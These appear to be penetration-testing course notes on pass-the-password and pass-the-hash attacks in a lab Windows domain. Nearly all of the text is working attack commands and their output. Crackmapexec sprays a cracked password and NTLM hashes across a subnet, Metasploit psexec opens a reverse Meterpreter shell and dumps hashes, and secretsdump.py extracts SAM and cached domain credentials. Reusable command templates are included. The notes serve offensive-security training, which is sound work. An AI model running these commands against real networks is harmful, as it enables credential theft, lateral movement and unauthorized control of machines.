

01 - Pass the Password and/or Hashes Attacks - Overview

Pass the Password / Pass the Hash

Overview

What are this?

If we crack a password and/or can dump the SAM hashes, we can leverage both for lateral movement in networks



```
(kali@kali)~$ crackmapexec smb 10.0.0.0/24 -u fcastle -d MARVEL.local -p Password1
SMB 10.0.0.35 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:M
ARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain
:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.0.35 445 SPIDERMAN [*] MARVEL.local\\fcastle:Password1 (Pwn3d!)
SMB 10.0.0.25 445 THEPUNISHER [*] MARVEL.local\\fcastle:Password1 (Pwn3d!)
SMB 10.0.0.225 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MA
RVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.0.225 445 HYDRA-DC [*] MARVEL.local\\fcastle:Password1
```

Pass the Password

Let's pass what we just cracked...

```
crackmapexec smb <ip/CIDR> -u <user> -d <domain> -p <pass>
```

The tool we are going to be using here is the "#crackmapexec". In this particular demonstration, we are going to run on SMB.

Anywhere we see the comment "Pwn3d!" means it is interesting.

We can also do this with hashes using Metasploit and/or Secretsdump.py as well as the crackmapexec.

```
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 10.8.0.2:4444
[*] 10.0.3.7:445 - Connecting to the server...
[*] 10.0.3.7:445 - Authenticating to 10.0.3.7:445|MARVEL as user 'fcastle'...
[*] 10.0.3.7:445 - Selecting PowerShell target
[*] 10.0.3.7:445 - Executing the payload...
[+] 10.0.3.7:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.0.3.7
[*] Meterpreter session 3 opened (10.8.0.2:4444 -> 10.0.3.7:50568) at 2019-09-23 23:11:23 -0400

meterpreter > hashdump
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
FCastle:500:aad3b435b51404eeaad3b435b51404ee:eb7126ae2c91ed56dcd475c072863269:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4f87de4f8fbabd41ae5558a122f6d592:::
```

Grab Some Local Hashes

Yep, I'm a Metasploit skid

```
(kali@kali)-[~]
$ secretsdump.py MARVEL.local/fcastle:Password1@10.0.0.25
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x5c1e9847841ca0757d8d0827d788bcf1
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6c598d4edc98d0a0c9797ef98b869751:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:11ba4cb6993d434d8dbba9ba45fd9011:::
[*] Dumping cached domain logon information (domain/username:hash)
MARVEL.LOCAL/tstark:$DCC2$10240#tstark#c88e4ceb4c20c2bd024ce0cf4bd01530
MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f
```

Grab Some Local Hashes

We can also use secretsdump!

`secretsdump.py MARVEL.local/fcastle:Password1@10.0.0.25`

```
(kali@kali)-[~]
$ crackmapexec smb 10.0.0.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:6c598d4edc98d0a0c9797ef98b869751 --local-auth
SMB 10.0.0.35 445 SPIDERMAN [*] Windows 10.0 Build 19041 x64 (name:SPIDERMAN) (domain:S
PIDERMAN) (signing:False) (SMBv1:False)
SMB 10.0.0.25 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain
:THEPUNISHER) (signing:False) (SMBv1:False)
SMB 10.0.0.35 445 SPIDERMAN [+] SPIDERMAN\administrator:6c598d4edc98d0a0c9797ef98b86975
1 (Pwn3d!)
SMB 10.0.0.25 445 THEPUNISHER [+] THEPUNISHER\administrator:6c598d4edc98d0a0c9797ef98b869
751 (Pwn3d!)
SMB 10.0.0.225 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:HY
DRA-DC) (signing:True) (SMBv1:False)
SMB 10.0.0.225 445 HYDRA-DC [-] HYDRA-DC\administrator:6c598d4edc98d0a0c9797ef98b869751
STATUS_LOGON_FAILURE
```

Pass the Hash

Let's pass that hash

`crackmapexec smb <ip/CIDR> -u <user> -H <hash> --local-auth`

This will work if we compromised a local admin account.

Crackmapexec also make up a database with all the data collected.